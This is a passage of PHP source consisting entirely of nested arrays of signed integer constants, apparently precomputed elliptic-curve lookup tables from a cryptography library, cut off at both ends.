-11906496, -28887608, 8209391, 14606362, -10647073),
                array(-3481570, 8707081, 32188102, 5672294, 22096700,
1711240, -33020695, 9761487, 4170404, -2085325),
                array(-11587470, 14855945, -4127778, -1531857, -26649089,
15084046, 22186522, 16002000, -14276837, -8400798),
            ),
            array(
                array(-4811456, 13761029, -31703877, -2483919, -3312471,
7869047, -7113572, -9620092, 13240845, 10965870),
                array(-7742563, -8256762, -14768334, -13656260, -23232383,
12387166, 4498947, 14147411, 29514390, 4302863),
                array(-13413405, -12407859, 20757302, -13801832, 14785143,
8976368, -5061276, -2144373, 17846988, -13971927),
            ),
        ),
        array(
            array(
                array(-2244452, -754728, -4597030, -1066309, -6247172,
1455299, -21647728, -9214789, -5222701, 12650267),
                array(-9906797, -16070310, 21134160, 12198166, -27064575,
708126, 387813, 13770293, -19134326, 10958663),
                array(22470984, 12369526, 23446014, -5441109, -21520802,
-9698723, -11772496, -11574455, -25083830, 4271862),
            ),
            array(
                array(-25169565, -10053642, -19909332, 15361595, -5984358,
2159192, 75375, -4278529, -32526221, 8469673),
                array(15854970, 4148314, -8893890, 7259002, 11666551,
13824734, -30531198, 2697372, 24154791, -9460943),
                array(15446137, -15806644, 29759747, 14019369, 30811221,
-9610191, -31582008, 12840104, 24913809, 9815020),
            ),
            array(
                array(-4709286, -5614269, -31841498, -12288893, -14443537,
10799414, -9103676, 13438769, 18735128, 9466238),
                array(11933045, 9281483, 5081055, -5183824, -2628162,
-4905629, -7727821, -10896103, -22728655, 16199064),
                array(14576810, 379472, -26786533, -8317236, -29426508,
-10812974, -102766, 1876699, 30801119, 2164795),
            ),
            array(
                array(15995086, 3199873, 13672555, 13712240, -19378835,
-4647646, -13081610, -15496269, -13492807, 1268052),
                array(-10290614, -3659039, -3286592, 10948818, 23037027,
3794475, -3470338, -12600221, -17055369, 3565904),
                array(29210088, -9419337, -5919792, -4952785, 10834811,
-13327726, -16512102, -10820713, -27162222, -14030531),
            ),
            array(
                array(-13161890, 15508588, 16663704, -8156150, -28349942,
9019123, -29183421, -3769423, 2244111, -14001979),
                array(-5152875, -3800936, -9306475, -6071583, 16243069,
14684434, -25673088, -16180800, 13491506, 4641841),
                array(10813417, 643330, -19188515, -728916, 30292062,
-16600078, 27548447, -7721242, 14476989, -12767431),
            ),
            array(
                array(10292079, 9984945, 6481436, 8279905, -7251514,
7032743, 27282937, -1644259, -27912810, 12651324),
                array(-31185513, -813383, 22271204, 11835308, 10201545,
15351028, 17099662, 3988035, 21721536, -3148940),
                array(10202177, -6545839, -31373232, -9574638, -32150642,
-8119683, -12906320, 3852694, 13216206, 14842320),
            ),
            array(
                array(-15815640, -10601066, -6538952, -7258995, -6984659,
-6581778, -31500847, 13765824, -27434397, 9900184),
                array(14465505, -13833331, -32133984, -14738873, -27443187,
12990492, 33046193, 15796406, -7051866, -8040114),
                array(30924417, -8279620, 6359016, -12816335, 16508377,
9071735, -25488601, 15413635, 9524356, -7018878),
            ),
            array(
                array(12274201, -13175547, 32627641, -1785326, 6736625,
13267305, 5237659, -5109483, 15663516, 4035784),
                array(-2951309, 8903985, 17349946, 601635, -16432815,
-4612556, -13732739, -15889334, -22258478, 4659091),
                array(-16916263, -4952973, -30393711, -15158821, 20774812,
15897498, 5736189, 15026997, -2178256, -13455585),
            ),
        ),
        array(
            array(
                array(-8858980, -2219056, 28571666, -10155518, -474467,
-10105698, -3801496, 278095, 23440562, -290208),
                array(10226241, -5928702, 15139956, 120818, -14867693,
5218603, 32937275, 11551483, -16571960, -7442864),
                array(17932739, -12437276, -24039557, 10749060, 11316803,
7535897, 22503767, 5561594, -3646624, 3898661),
            ),
            array(
                array(7749907, -969567, -16339731, -16464, -25018111,
15122143, -1573531, 7152530, 21831162, 1245233),
                array(26958459, -14658026, 4314586, 8346991, -5677764,
11960072, -32589295, -620035, -30402091, -16716212),
                array(-12165896, 9166947, 33491384, 13673479, 29787085,
13096535, 6280834, 14587357, -22338025, 13987525),
            ),
            array(
                array(-24349909, 7778775, 21116000, 15572597, -4833266,
-5357778, -4300898, -5124639, -7469781, -2858068),
                array(9681908, -6737123, -31951644, 13591838, -6883821,
386950, 31622781, 6439245, -14581012, 4091397),
                array(-8426427, 1470727, -28109679, -1596990, 3978627,
-5123623, -19622683, 12092163, 29077877, -14741988),
            ),
            array(
                array(5269168, -6859726, -13230211, -8020715, 25932563,
1763552, -5606110, -5505881, -20017847, 2357889),
                array(32264008, -15407652, -5387735, -1160093, -2091322,
-3946900, 23104804, -12869908, 5727338, 189038),
                array(14609123, -8954470, -6000566, -16622781, -14577387,
-7743898, -26745169, 10942115, -25888931, -14884697),
            ),
            array(
                array(20513500, 5557931, -15604613, 7829531, 26413943,
-2019404, -21378968, 7471781, 13913677, -5137875),
                array(-25574376, 11967826, 29233242, 12948236, -6754465,
4713227, -8940970, 14059180, 12878652, 8511905),
                array(-25656801, 3393631, -2955415, -7075526, -2250709,
9366908, -30223418, 6812974, 5568676, -3127656),
            ),
            array(
                array(11630004, 12144454, 2116339, 13606037, 27378885,
15676917, -17408753, -13504373, -14395196, 8070818),
                array(27117696, -10007378, -31282771, -5570088, 1127282,
12772488, -29845906, 10483306, -11552749, -1028714),
                array(10637467, -5688064, 5674781, 1072708, -26343588,
-6982302, -1683975, 9177853, -27493162, 15431203),
            ),
            array(
                array(20525145, 10892566, -12742472, 12779443, -29493034,
16150075, -28240519, 14943142, -15056790, -7935931),
                array(-30024462, 5626926, -551567, -9981087, 753598,
11981191, 25244767, -3239766, -3356550, 9594024),
                array(-23752644, 2636870, -5163910, -10103818, 585134,
7877383, 11345683, -6492290, 13352335, -10977084),
            ),
            array(
                array(-1931799, -5407458, 3304649, -12884869, 17015806,
-4877091, -29783850, -7752482, -13215537, -319204),
                array(20239939, 6607058, 6203985, 3483793, -18386976,
-779229, -20723742, 15077870, -22750759, 14523817),
                array(27406042, -6041657, 27423596, -4497394, 4996214,
10002360, -28842031, -4545494, -30172742, -4805667),
            ),
        ),
        array(
            array(
                array(11374242, 12660715, 17861383, -12540833, 10935568,
1099227, -13886076, -9091740, -27727044, 11358504),
                array(-12730809, 10311867, 1510375, 10778093, -2119455,
-9145702, 32676003, 11149336, -26123651, 4985768),
                array(-19096303, 341147, -6197485, -239033, 15756973,
-8796662, -983043, 13794114, -19414307, -15621255),
            ),
            array(
                array(6490081, 11940286, 25495923, -7726360, 8668373,
-8751316, 3367603, 6970005, -1691065, -9004790),
                array(1656497, 13457317, 15370807, 6364910, 13605745,
8362338, -19174622, -5475723, -16796596, -5031438),
                array(-22273315, -13524424, -64685, -4334223, -18605636,
-10921968, -20571065, -7007978, -99853, -10237333),
            ),
            array(
                array(17747465, 10039260, 19368299, -4050591, -20630635,
-16041286, 31992683, -15857976, -29260363, -5511971),
                array(31932027, -4986141, -19612382, 16366580, 22023614,
88450, 11371999, -3744247, 4882242, -10626905),
                array(29796507, 37186, 19818052, 10115756, -11829032,
3352736, 18551198, 3272828, -5190932, -4162409),
            ),
            array(
                array(12501286, 4044383, -8612957, -13392385, -32430052,
5136599, -19230378, -3529697, 330070, -3659409),
                array(6384877, 2899513, 17807477, 7663917, -2358888,
12363165, 25366522, -8573892, -271295, 12071499),
                array(-8365515, -4042521, 25133448, -4517355, -6211027,
2265927, -32769618, 1936675, -5159697, 3829363),
            ),
            array(
                array(28425966, -5835433, -577090, -4697198, -14217555,
6870930, 7921550, -6567787, 26333140, 14267664),
                array(-11067219, 11871231, 27385719, -10559544, -4585914,
-11189312, 10004786, -8709488, -21761224, 8930324),
                array(-21197785, -16396035, 25654216, -1725397, 12282012,
11008919, 1541940, 4757911, -26491501, -16408940),
            ),
            array(
                array(13537262, -7759490, -20604840, 10961927, -5922820,
-13218065, -13156584, 6217254, -15943699, 13814990),
                array(-17422573, 15157790, 18705543, 29619, 24409717,
-260476, 27361681, 9257833, -1956526, -1776914),
                array(-25045300, -10191966, 15366585, 15166509, -13105086,
8423556, -29171540, 12361135, -18685978, 4578290),
            ),
            array(
                array(24579768, 3711570, 1342322, -11180126, -27005135,
14124956, -22544529, 14074919, 21964432, 8235257),
                array(-6528613, -2411497, 9442966, -5925588, 12025640,
-1487420, -2981514, -1669206, 13006806, 2355433),
                array(-16304899, -13605259, -6632427, -5142349, 16974359,
-10911083, 27202044, 1719366, 1141648, -12796236),
            ),
            array(
                array(-12863944, -13219986, -8318266, -11018091, -6810145,
-4843894, 13475066, -3133972, 32674895, 13715045),
                array(11423335, -5468059, 32344216, 8962751, 24989809,
9241752, -13265253, 16086212, -28740881, -15642093),
                array(-1409668, 12530728, -6368726, 10847387, 19531186,
-14132160, -11709148, 7791794, -27245943, 4383347),
            ),
        ),
        array(
            array(
                array(-28970898, 5271447, -1266009, -9736989, -12455236,
16732599, -4862407, -4906449, 27193557, 6245191),
                array(-15193956, 5362278, -1783893, 2695834, 4960227,
12840725, 23061898, 3260492, 22510453, 8577507),
                array(-12632451, 11257346, -32692994, 13548177, -721004,
10879011, 31168030, 13952092, -29571492, -3635906),
            ),
            array(
                array(3877321, -9572739, 32416692, 5405324, -11004407,
-13656635, 3759769, 11935320, 5611860, 8164018),
                array(-16275802, 14667797, 15906460, 12155291, -22111149,
-9039718, 32003002, -8832289, 5773085, -8422109),
                array(-23788118, -8254300, 1950875, 8937633, 18686727,
16459170, -905725, 12376320, 31632953, 190926),
            ),
            array(
                array(-24593607, -16138885, -8423991, 13378746, 14162407,
6901328, -8288749, 4508564, -25341555, -3627528),
                array(8884438, -5884009, 6023974, 10104341, -6881569,
-4941533, 18722941, -14786005, -1672488, 827625),
                array(-32720583, -16289296, -32503547, 7101210, 13354605,
2659080, -1800575, -14108036, -24878478, 1541286),
            ),
            array(
                array(2901347, -1117687, 3880376, -10059388, -17620940,
-3612781, -21802117, -3567481, 20456845, -1885033),
                array(27019610, 12299467, -13658288, -1603234, -12861660,
-4861471, -19540150, -5016058, 29439641, 15138866),
                array(21536104, -6626420, -32447818, -10690208, -22408077,
5175814, -5420040, -16361163, 7779328, 109896),
            ),
            array(
                array(30279744, 14648750, -8044871, 6425558, 13639621,
-743509, 28698390, 12180118, 23177719, -554075),
                array(26572847, 3405927, -31701700, 12890905, -19265668,
5335866, -6493768, 2378492, 4439158, -13279347),
                array(-22716706, 3489070, -9225266, -332753, 18875722,
-1140095, 14819434, -12731527, -17717757, -5461437),
            ),
            array(
                array(-5056483, 16566551, 15953661, 3767752, -10436499,
15627060, -820954, 2177225, 8550082, -15114165),
                array(-18473302, 16596775, -381660, 15663611, 22860960,
15585581, -27844109, -3582739, -23260460, -8428588),
                array(-32480551, 15707275, -8205912, -5652081, 29464558,
2713815, -22725137, 15860482, -21902570, 1494193),
            ),
            array(
                array(-19562091, -14087393, -25583872, -9299552, 13127842,
759709, 21923482, 16529112, 8742704, 12967017),
                array(-28464899, 1553205, 32536856, -10473729, -24691605,
-406174, -8914625, -2933896, -29903758, 15553883),
                array(21877909, 3230008, 9881174, 10539357, -4797115,
2841332, 11543572, 14513274, 19375923, -12647961),
            ),
            array(
                array(8832269, -14495485, 13253511, 5137575, 5037871,
4078777, 24880818, -6222716, 2862653, 9455043),
                array(29306751, 5123106, 20245049, -14149889, 9592566,
8447059, -2077124, -2990080, 15511449, 4789663),
                array(-20679756, 7004547, 8824831, -9434977, -4045704,
-3750736, -5754762, 108893, 23513200, 16652362),
            ),
        ),
        array(
            array(
                array(-33256173, 4144782, -4476029, -6579123, 10770039,
-7155542, -6650416, -12936300, -18319198, 10212860),
                array(2756081, 8598110, 7383731, -6859892, 22312759,
-1105012, 21179801, 2600940, -9988298, -12506466),
                array(-24645692, 13317462, -30449259, -15653928, 21365574,
-10869657, 11344424, 864440, -2499677, -16710063),
            ),
            array(
                array(-26432803, 6148329, -17184412, -14474154, 18782929,
-275997, -22561534, 211300, 2719757, 4940997),
                array(-1323882, 3911313, -6948744, 14759765, -30027150,
7851207, 21690126, 8518463, 26699843, 5276295),
                array(-13149873, -6429067, 9396249, 365013, 24703301,
-10488939, 1321586, 149635, -15452774, 7159369),
            ),
            array(
                array(9987780, -3404759, 17507962, 9505530, 9731535,
-2165514, 22356009, 8312176, 22477218, -8403385),
                array(18155857, -16504990, 19744716, 9006923, 15154154,
-10538976, 24256460, -4864995, -22548173, 9334109),
                array(2986088, -4911893, 10776628, -3473844, 10620590,
-7083203, -21413845, 14253545, -22587149, 536906),
            ),
            array(
                array(4377756, 8115836, 24567078, 15495314, 11625074,
13064599, 7390551, 10589625, 10838060, -15420424),
                array(-19342404, 867880, 9277171, -3218459, -14431572,
-1986443, 19295826, -15796950, 6378260, 699185),
                array(7895026, 4057113, -7081772, -13077756, -17886831,
-323126, -716039, 15693155, -5045064, -13373962),
            ),
            array(
                array(-7737563, -5869402, -14566319, -7406919, 11385654,
13201616, 31730678, -10962840, -3918636, -9669325),
                array(10188286, -15770834, -7336361, 13427543, 22223443,
14896287, 30743455, 7116568, -21786507, 5427593),
                array(696102, 13206899, 27047647, -10632082, 15285305,
-9853179, 10798490, -4578720, 19236243, 12477404),
            ),
            array(
                array(-11229439, 11243796, -17054270, -8040865, -788228,
-8167967, -3897669, 11180504, -23169516, 7733644),
                array(17800790, -14036179, -27000429, -11766671, 23887827,
3149671, 23466177, -10538171, 10322027, 15313801),
                array(26246234, 11968874, 32263343, -5468728, 6830755,
-13323031, -15794704, -101982, -24449242, 10890804),
            ),
            array(
                array(-31365647, 10271363, -12660625, -6267268, 16690207,
-13062544, -14982212, 16484931, 25180797, -5334884),
                array(-586574, 10376444, -32586414, -11286356, 19801893,
10997610, 2276632, 9482883, 316878, 13820577),
                array(-9882808, -4510367, -2115506, 16457136, -11100081,
11674996, 30756178, -7515054, 30696930, -3712849),
            ),
            array(
                array(32988917, -9603412, 12499366, 7910787, -10617257,
-11931514, -7342816, -9985397, -32349517, 7392473),
                array(-8855661, 15927861, 9866406, -3649411, -2396914,
-16655781, -30409476, -9134995, 25112947, -2926644),
                array(-2504044, -436966, 25621774, -5678772, 15085042,
-5479877, -24884878, -13526194, 5537438, -13914319),
            ),
        ),
        array(
            array(
                array(-11225584, 2320285, -9584280, 10149187, -33444663,
5808648, -14876251, -1729667, 31234590, 6090599),
                array(-9633316, 116426, 26083934, 2897444, -6364437,
-2688086, 609721, 15878753, -6970405, -9034768),
                array(-27757857, 247744, -15194774, -9002551, 23288161,
-10011936, -23869595, 6503646, 20650474, 1804084),
            ),
            array(
                array(-27589786, 15456424, 8972517, 8469608, 15640622,
4439847, 3121995, -10329713, 27842616, -202328),
                array(-15306973, 2839644, 22530074, 10026331, 4602058,
5048462, 28248656, 5031932, -11375082, 12714369),
                array(20807691, -7270825, 29286141, 11421711, -27876523,
-13868230, -21227475, 1035546, -19733229, 12796920),
            ),
            array(
                array(12076899, -14301286, -8785001, -11848922, -25012791,
16400684, -17591495, -12899438, 3480665, -15182815),
                array(-32361549, 5457597, 28548107, 7833186, 7303070,
-11953545, -24363064, -15921875, -33374054, 2771025),
                array(-21389266, 421932, 26597266, 6860826, 22486084,
-6737172, -17137485, -4210226, -24552282, 15673397),
            ),
            array(
                array(-20184622, 2338216, 19788685, -9620956, -4001265,
-8740893, -20271184, 4733254, 3727144, -12934448),
                array(6120119, 814863, -11794402, -622716, 6812205,
-15747771, 2019594, 7975683, 31123697, -10958981),
                array(30069250, -11435332, 30434654, 2958439, 18399564,
-976289, 12296869, 9204260, -16432438, 9648165),
            ),
            array(
                array(32705432, -1550977, 30705658, 7451065, -11805606,
9631813, 3305266, 5248604, -26008332, -11377501),
                array(17219865, 2375039, -31570947, -5575615, -19459679,
9219903, 294711, 15298639, 2662509, -16297073),
                array(-1172927, -7558695, -4366770, -4287744, -21346413,
-8434326, 32087529, -1222777, 32247248, -14389861),
            ),
            array(
                array(14312628, 1221556, 17395390, -8700143, -4945741,
-8684635, -28197744, -9637817, -16027623, -13378845),
                array(-1428825, -9678990, -9235681, 6549687, -7383069,
-468664, 23046502, 9803137, 17597934, 2346211),
                array(18510800, 15337574, 26171504, 981392, -22241552,
7827556, -23491134, -11323352, 3059833, -11782870),
            ),
            array(
                array(10141598, 6082907, 17829293, -1947643, 9830092,
13613136, -25556636, -5544586, -33502212, 3592096),
                array(33114168, -15889352, -26525686, -13343397, 33076705,
8716171, 1151462, 1521897, -982665, -6837803),
                array(-32939165, -4255815, 23947181, -324178, -33072974,
-12305637, -16637686, 3891704, 26353178, 693168),
            ),
            array(
                array(30374239, 1595580, -16884039, 13186931, 4600344,
406904, 9585294, -400668, 31375464, 14369965),
                array(-14370654, -7772529, 1510301, 6434173, -18784789,
-6262728, 32732230, -13108839, 17901441, 16011505),
                array(18171223, -11934626, -12500402, 15197122, -11038147,
-15230035, -19172240, -16046376, 8764035, 12309598),
            ),
        ),
        array(
            array(
                array(5975908, -5243188, -19459362, -9681747, -11541277,
14015782, -23665757, 1228319, 17544096, -10593782),
                array(5811932, -1715293, 3442887, -2269310, -18367348,
-8359541, -18044043, -15410127, -5565381, 12348900),
                array(-31399660, 11407555, 25755363, 6891399, -3256938,
14872274, -24849353, 8141295, -10632534, -585479),
            ),
            array(
                array(-12675304, 694026, -5076145, 13300344, 14015258,
-14451394, -9698672, -11329050, 30944593, 1130208),
                array(8247766, -6710942, -26562381, -7709309, -14401939,
-14648910, 4652152, 2488540, 23550156, -271232),
                array(17294316, -3788438, 7026748, 15626851, 22990044,
113481, 2267737, -5908146, -408818, -137719),
            ),
            array(
                array(16091085, -16253926, 18599252, 7340678, 2137637,
-1221657, -3364161, 14550936, 3260525, -7166271),
                array(-4910104, -13332887, 18550887, 10864893, -16459325,
-7291596, -23028869, -13204905, -12748722, 2701326),
                array(-8574695, 16099415, 4629974, -16340524, -20786213,
-6005432, -10018363, 9276971, 11329923, 1862132),
            ),
            array(
                array(14763076, -15903608, -30918270, 3689867, 3511892,
10313526, -21951088, 12219231, -9037963, -940300),
                array(8894987, -3446094, 6150753, 3013931, 301220,
15693451, -31981216, -2909717, -15438168, 11595570),
                array(15214962, 3537601, -26238722, -14058872, 4418657,
-15230761, 13947276, 10730794, -13489462, -4363670),
            ),
            array(
                array(-2538306, 7682793, 32759013, 263109, -29984731,
-7955452, -22332124, -10188635, 977108, 699994),
                array(-12466472, 4195084, -9211532, 550904, -15565337,
12917920, 19118110, -439841, -30534533, -14337913),
                array(31788461, -14507657, 4799989, 7372237, 8808585,
-14747943, 9408237, -10051775, 12493932, -5409317),
            ),
            array(
                array(-25680606, 5260744, -19235809, -6284470, -3695942,
16566087, 27218280, 2607121, 29375955, 6024730),
                array(842132, -2794693, -4763381, -8722815, 26332018,
-12405641, 11831880, 6985184, -9940361, 2854096),
                array(-4847262, -7969331, 2516242, -5847713, 9695691,
-7221186, 16512645, 960770, 12121869, 16648078),
            ),
            array(
                array(-15218652, 14667096, -13336229, 2013717, 30598287,
-464137, -31504922, -7882064, 20237806, 2838411),
                array(-19288047, 4453152, 15298546, -16178388, 22115043,
-15972604, 12544294, -13470457, 1068881, -12499905),
                array(-9558883, -16518835, 33238498, 13506958, 30505848,
-1114596, -8486907, -2630053, 12521378, 4845654),
            ),
            array(
                array(-28198521, 10744108, -2958380, 10199664, 7759311,
-13088600, 3409348, -873400, -6482306, -12885870),
                array(-23561822, 6230156, -20382013, 10655314, -24040585,
-11621172, 10477734, -1240216, -3113227, 13974498),
                array(12966261, 15550616, -32038948, -1615346, 21025980,
-629444, 5642325, 7188737, 18895762, 12629579),
            ),
        ),
        array(
            array(
                array(14741879, -14946887, 22177208, -11721237, 1279741,
8058600, 11758140, 789443, 32195181, 3895677),
                array(10758205, 15755439, -4509950, 9243698, -4879422,
6879879, -2204575, -3566119, -8982069, 4429647),
                array(-2453894, 15725973, -20436342, -10410672, -5803908,
-11040220, -7135870, -11642895, 18047436, -15281743),
            ),
            array(
                array(-25173001, -11307165, 29759956, 11776784, -22262383,
-15820455, 10993114, -12850837, -17620701, -9408468),
                array(21987233, 700364, -24505048, 14972008, -7774265,
-5718395, 32155026, 2581431, -29958985, 8773375),
                array(-25568350, 454463, -13211935, 16126715, 25240068,
8594567, 20656846, 12017935, -7874389, -13920155),
            ),
            array(
                array(6028182, 6263078, -31011806, -11301710, -818919,
2461772, -31841174, -5468042, -1721788, -2776725),
                array(-12278994, 16624277, 987579, -5922598, 32908203,
1248608, 7719845, -4166698, 28408820, 6816612),
                array(-10358094, -8237829, 19549651, -12169222, 22082623,
16147817, 20613181, 13982702, -10339570, 5067943),
            ),
            array(
                array(-30505967, -3821767, 12074681, 13582412, -19877972,
2443951, -19719286, 12746132, 5331210, -10105944),
                array(30528811, 3601899, -1957090, 4619785, -27361822,
-15436388, 24180793, -12570394, 27679908, -1648928),
                array(9402404, -13957065, 32834043, 10838634, -26580150,
-13237195, 26653274, -8685565, 22611444, -12715406),
            ),
            array(
                array(22190590, 1118029, 22736441, 15130463, -30460692,
-5991321, 19189625, -4648942, 4854859, 6622139),
                array(-8310738, -2953450, -8262579, -3388049, -10401731,
-271929, 13424426, -3567227, 26404409, 13001963),
                array(-31241838, -15415700, -2994250, 8939346, 11562230,
-12840670, -26064365, -11621720, -15405155, 11020693),
            ),
            array(
                array(1866042, -7949489, -7898649, -10301010, 12483315,
13477547, 3175636, -12424163, 28761762, 1406734),
                array(-448555, -1777666, 13018551, 3194501, -9580420,
-11161737, 24760585, -4347088, 25577411, -13378680),
                array(-24290378, 4759345, -690653, -1852816, 2066747,
10693769, -29595790, 9884936, -9368926, 4745410),
            ),
            array(
                array(-9141284, 6049714, -19531061, -4341411, -31260798,
9944276, -15462008, -11311852, 10931924, -11931931),
                array(-16561513, 14112680, -8012645, 4817318, -8040464,
-11414606, -22853429, 10856641, -20470770, 13434654),
                array(22759489, -10073434, -16766264, -1871422, 13637442,
-10168091, 1765144, -12654326, 28445307, -5364710),
            ),
            array(
                array(29875063, 12493613, 2795536, -3786330, 1710620,
15181182, -10195717, -8788675, 9074234, 1167180),
                array(-26205683, 11014233, -9842651, -2635485, -26908120,
7532294, -18716888, -9535498, 3843903, 9367684),
                array(-10969595, -6403711, 9591134, 9582310, 11349256,
108879, 16235123, 8601684, -139197, 4242895),
            ),
        ),
        array(
            array(
                array(22092954, -13191123, -2042793, -11968512, 32186753,
-11517388, -6574341, 2470660, -27417366, 16625501),
                array(-11057722, 3042016, 13770083, -9257922, 584236,
-544855, -7770857, 2602725, -27351616, 14247413),
                array(6314175, -10264892, -32772502, 15957557, -10157730,
168750, -8618807, 14290061, 27108877, -1180880),
            ),
            array(
                array(-8586597, -7170966, 13241782, 10960156, -32991015,
-13794596, 33547976, -11058889, -27148451, 981874),
                array(22833440, 9293594, -32649448, -13618667, -9136966,
14756819, -22928859, -13970780, -10479804, -16197962),
                array(-7768587, 3326786, -28111797, 10783824, 19178761,
14905060, 22680049, 13906969, -15933690, 3797899),
            ),
            array(
                array(21721356, -4212746, -12206123, 9310182, -3882239,
-13653110, 23740224, -2709232, 20491983, -8042152),
                array(9209270, -15135055, -13256557, -6167798, -731016,
15289673, 25947805, 15286587, 30997318, -6703063),
                array(7392032, 16618386, 23946583, -8039892, -13265164,
-1533858, -14197445, -2321576, 17649998, -250080),
            ),
            array(
                array(-9301088, -14193827, 30609526, -3049543, -25175069,
-1283752, -15241566, -9525724, -2233253, 7662146),
                array(-17558673, 1763594, -33114336, 15908610, -30040870,
-12174295, 7335080, -8472199, -3174674, 3440183),
                array(-19889700, -5977008, -24111293, -9688870, 10799743,
-16571957, 40450, -4431835, 4862400, 1133),
            ),
            array(
                array(-32856209, -7873957, -5422389, 14860950, -16319031,
7956142, 7258061, 311861, -30594991, -7379421),
                array(-3773428, -1565936, 28985340, 7499440, 24445838,
9325937, 29727763, 16527196, 18278453, 15405622),
                array(-4381906, 8508652, -19898366, -3674424, -5984453,
15149970, -13313598, 843523, -21875062, 13626197),
            ),
            array(
                array(2281448, -13487055, -10915418, -2609910, 1879358,
16164207, -10783882, 3953792, 13340839, 15928663),
                array(31727126, -7179855, -18437503, -8283652, 2875793,
-16390330, -25269894, -7014826, -23452306, 5964753),
                array(4100420, -5959452, -17179337, 6017714, -18705837,
12227141, -26684835, 11344144, 2538215, -7570755),
            ),
            array(
                array(-9433605, 6123113, 11159803, -2156608, 30016280,
14966241, -20474983, 1485421, -629256, -15958862),
                array(-26804558, 4260919, 11851389, 9658551, -32017107,
16367492, -20205425, -13191288, 11659922, -11115118),
                array(26180396, 10015009, -30844224, -8581293, 5418197,
9480663, 2231568, -10170080, 33100372, -1306171),
            ),
            array(
                array(15121113, -5201871, -10389905, 15427821, -27509937,
-15992507, 21670947, 4486675, -5931810, -14466380),
                array(16166486, -9483733, -11104130, 6023908, -31926798,
-1364923, 2340060, -16254968, -10735770, -10039824),
                array(28042865, -3557089, -12126526, 12259706, -3717498,
-6945899, 6766453, -8689599, 18036436, 5803270),
            ),
        ),
        array(
            array(
                array(-817581, 6763912, 11803561, 1585585, 10958447,
-2671165, 23855391, 4598332, -6159431, -14117438),
                array(-31031306, -14256194, 17332029, -2383520, 31312682,
-5967183, 696309, 50292, -20095739, 11763584),
                array(-594563, -2514283, -32234153, 12643980, 12650761,
14811489, 665117, -12613632, -19773211, -10713562),
            ),
            array(
                array(30464590, -11262872, -4127476, -12734478, 19835327,
-7105613, -24396175, 2075773, -17020157, 992471),
                array(18357185, -6994433, 7766382, 16342475, -29324918,
411174, 14578841, 8080033, -11574335, -10601610),
                array(19598397, 10334610, 12555054, 2555664, 18821899,
-10339780, 21873263, 16014234, 26224780, 16452269),
            ),
            array(
                array(-30223925, 5145196, 5944548, 16385966, 3976735,
2009897, -11377804, -7618186, -20533829, 3698650),
                array(14187449, 3448569, -10636236, -10810935, -22663880,
-3433596, 7268410, -10890444, 27394301, 12015369),
                array(19695761, 16087646, 28032085, 12999827, 6817792,
11427614, 20244189, -1312777, -13259127, -3402461),
            ),
            array(
                array(30860103, 12735208, -1888245, -4699734, -16974906,
2256940, -8166013, 12298312, -8550524, -10393462),
                array(-5719826, -11245325, -1910649, 15569035, 26642876,
-7587760, -5789354, -15118654, -4976164, 12651793),
                array(-2848395, 9953421, 11531313, -5282879, 26895123,
-12697089, -13118820, -16517902, 9768698, -2533218),
            ),
            array(
                array(-24719459, 1894651, -287698, -4704085, 15348719,
-8156530, 32767513, 12765450, 4940095, 10678226),
                array(18860224, 15980149, -18987240, -1562570, -26233012,
-11071856, -7843882, 13944024, -24372348, 16582019),
                array(-15504260, 4970268, -29893044, 4175593, -20993212,
-2199756, -11704054, 15444560, -11003761, 7989037),
            ),
            array(
                array(31490452, 5568061, -2412803, 2182383, -32336847,
4531686, -32078269, 6200206, -19686113, -14800171),
                array(-17308668, -15879940, -31522777, -2831, -32887382,
16375549, 8680158, -16371713, 28550068, -6857132),
                array(-28126887, -5688091, 16837845, -1820458, -6850681,
12700016, -30039981, 4364038, 1155602, 5988841),
            ),
            array(
                array(21890435, -13272907, -12624011, 12154349, -7831873,
15300496, 23148983, -4470481, 24618407, 8283181),
                array(-33136107, -10512751, 9975416, 6841041, -31559793,
16356536, 3070187, -7025928, 1466169, 10740210),
                array(-1509399, -15488185, -13503385, -10655916, 32799044,
909394, -13938903, -5779719, -32164649, -15327040),
            ),
            array(
                array(3960823, -14267803, -28026090, -15918051, -19404858,
13146868, 15567327, 951507, -3260321, -573935),
                array(24740841, 5052253, -30094131, 8961361, 25877428,
6165135, -24368180, 14397372, -7380369, -6144105),
                array(-28888365, 3510803, -28103278, -1158478, -11238128,
-10631454, -15441463, -14453128, -1625486, -6494814),
            ),
        ),
        array(
            array(
                array(793299, -9230478, 8836302, -6235707, -27360908,
-2369593, 33152843, -4885251, -9906200, -621852),
                array(5666233, 525582, 20782575, -8038419, -24538499,
14657740, 16099374, 1468826, -6171428, -15186581),
                array(-4859255, -3779343, -2917758, -6748019, 7778750,
11688288, -30404353, -9871238, -1558923, -9863646),
            ),
            array(
                array(10896332, -7719704, 824275, 472601, -19460308,
3009587, 25248958, 14783338, -30581476, -15757844),
                array(10566929, 12612572, -31944212, 11118703, -12633376,
12362879, 21752402, 8822496, 24003793, 14264025),
                array(27713862, -7355973, -11008240, 9227530, 27050101,
2504721, 23886875, -13117525, 13958495, -5732453),
            ),
            array(
                array(-23481610, 4867226, -27247128, 3900521, 29838369,
-8212291, -31889399, -10041781, 7340521, -15410068),
                array(4646514, -8011124, -22766023, -11532654, 23184553,
8566613, 31366726, -1381061, -15066784, -10375192),
                array(-17270517, 12723032, -16993061, 14878794, 21619651,
-6197576, 27584817, 3093888, -8843694, 3849921),
            ),
            array(
                array(-9064912, 2103172, 25561640, -15125738, -5239824,
9582958, 32477045, -9017955, 5002294, -15550259),
                array(-12057553, -11177906, 21115585, -13365155, 8808712,
-12030708, 16489530, 13378448, -25845716, 12741426),
                array(-5946367, 10645103, -30911586, 15390284, -3286982,
-7118677, 24306472, 15852464, 28834118, -7646072),
            ),
            array(
                array(-17335748, -9107057, -24531279, 9434953, -8472084,
-583362, -13090771, 455841, 20461858, 5491305),
                array(13669248, -16095482, -12481974, -10203039, -14569770,
-11893198, -24995986, 11293807, -28588204, -9421832),
                array(28497928, 6272777, -33022994, 14470570, 8906179,
-1225630, 18504674, -14165166, 29867745, -8795943),
            ),
            array(
                array(-16207023, 13517196, -27799630, -13697798, 24009064,
-6373891, -6367600, -13175392, 22853429, -4012011),
                array(24191378, 16712145, -13931797, 15217831, 14542237,
1646131, 18603514, -11037887, 12876623, -2112447),
                array(17902668, 4518229, -411702, -2829247, 26878217,
5258055, -12860753, 608397, 16031844, 3723494),
            ),
            array(
                array(-28632773, 12763728, -20446446, 7577504, 33001348,
-13017745, 17558842, -7872890, 23896954, -4314245),
                array(-20005381, -12011952, 31520464, 605201, 2543521,
5991821, -2945064, 7229064, -9919646, -8826859),
